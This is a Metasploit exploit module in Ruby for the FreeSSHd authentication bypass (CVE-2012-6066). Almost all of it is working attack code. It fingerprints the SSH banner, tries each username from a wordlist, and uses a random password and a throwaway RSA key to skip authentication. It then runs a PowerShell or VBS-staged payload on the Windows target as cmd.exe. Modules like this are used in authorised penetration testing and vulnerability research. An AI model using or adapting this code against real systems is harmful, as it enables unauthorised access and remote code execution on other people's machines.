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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Powershell
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'           => "Freesshd Authentication Bypass",
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        'Description'    => %q{
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          This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass
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          authentication. You just need the username (which defaults to root). The exploit
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          has been tested with both password and public key authentication.
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        },
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        'License'        => MSF_LICENSE,
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        'Author'         =>
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          [
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            'Aris', # Vulnerability discovery and Exploit
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            'kcope', # 2012 Exploit
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            'Daniele Martini <cyrax[at]pkcrew.org>', # Metasploit module
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            'Imran E. Dawoodjee <imrandawoodjee[at][email protected]> (minor improvements)' # minor improvements
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          ],
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        'References'     =>
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          [
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            ['CVE', '2012-6066'],
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            ['OSVDB', '88006'],
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            ['BID', '56785'],
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            ['URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2012-12/0012.html'],
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            ['URL', 'https://seclists.org/fulldisclosure/2010/Aug/132']
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          ],
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        'Platform'       => 'win',
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        'Privileged'     => true,
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        'Targets'        =>
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          [
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            ['PowerShell', {}],
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            ['CmdStager upload', {}]
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          ],
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        'DefaultTarget'  => 0,
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        'DisclosureDate' => '2010-08-11'
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(22),
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        OptString.new('USERNAME', [false, 'A specific username to try']),
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        OptPath.new(
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          'USER_FILE',
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          [
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            true,
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            "File containing usernames, one per line",
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            # Defaults to unix_users.txt, because this is the closest one we can try
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            File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt")
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          ]
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        )
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      ]
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    )
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  end
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  def check
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    connect
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    banner = sock.recv(30)
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    disconnect
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    if banner.match?(/SSH\-2\.0\-WeOnlyDo/)
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      version = banner.split(" ")[1]
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      return Exploit::CheckCode::Vulnerable if version.match?(/(2\.1\.3|2\.0\.6)/)
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      return Exploit::CheckCode::Detected
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    end
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    Exploit::CheckCode::Safe
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  end
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  def execute_command(cmd, _opts = {})
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    @connection.exec!("cmd.exe /c " + cmd)
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  end
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  def setup_ssh_options
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    {
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      password:        rand_text_alpha(8),
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      port:            datastore['RPORT'],
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      timeout:         1,
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      proxies:         datastore['Proxies'],
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      key_data:        OpenSSL::PKey::RSA.new(2048).to_pem,
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      auth_methods:    ['publickey'],
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      verify_host_key: :never
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    }
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  end
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  def do_login(username, options)
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    print_status("Trying username '#{username}'")
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    options[:username] = username
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    transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options)
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    auth = Net::SSH::Authentication::Session.new(transport, options)
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    auth.authenticate("ssh-connection", username, options[:password])
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    connection = Net::SSH::Connection::Session.new(transport, options)
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    begin
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      Timeout.timeout(10) do
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        connection.exec!('cmd.exe /c echo')
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      end
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    rescue Timeout::Error
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      print_status("Timeout")
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      return nil
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    rescue RuntimeError
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      return nil
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    end
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    connection
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  end
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  #
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  # Cannot use the auth_brute mixin, because if we do, a payload handler won't start.
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  # So we have to write our own each_user here.
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  #
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  def each_user
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    user_list = []
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    if datastore['USERNAME'] && !datastore['USERNAME'].empty?
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      user_list << datastore['USERNAME']
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    else
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      f = File.open(datastore['USER_FILE'], 'rb')
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      buf = f.read
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      f.close
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      user_list = (user_list | buf.split).uniq
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    end
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    user_list.each do |user|
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      yield user
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    end
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  end
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  def exploit
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    unless [CheckCode::Vulnerable].include? check
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      fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
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    end
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    options = setup_ssh_options
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    @connection = nil
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    each_user do |username|
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      next if username.empty?
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      @connection = do_login(username, options)
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      break if @connection
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    end
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    if @connection
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      case target.name
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      when 'PowerShell'
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        print_status('Executing payload via Powershell...')
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        psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
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        @connection.exec!("cmd.exe /c " + psh_command)
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      when 'CmdStager upload'
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        print_status("Uploading payload, this may take several minutes...")
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        execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
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      end
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    end
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  end
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end
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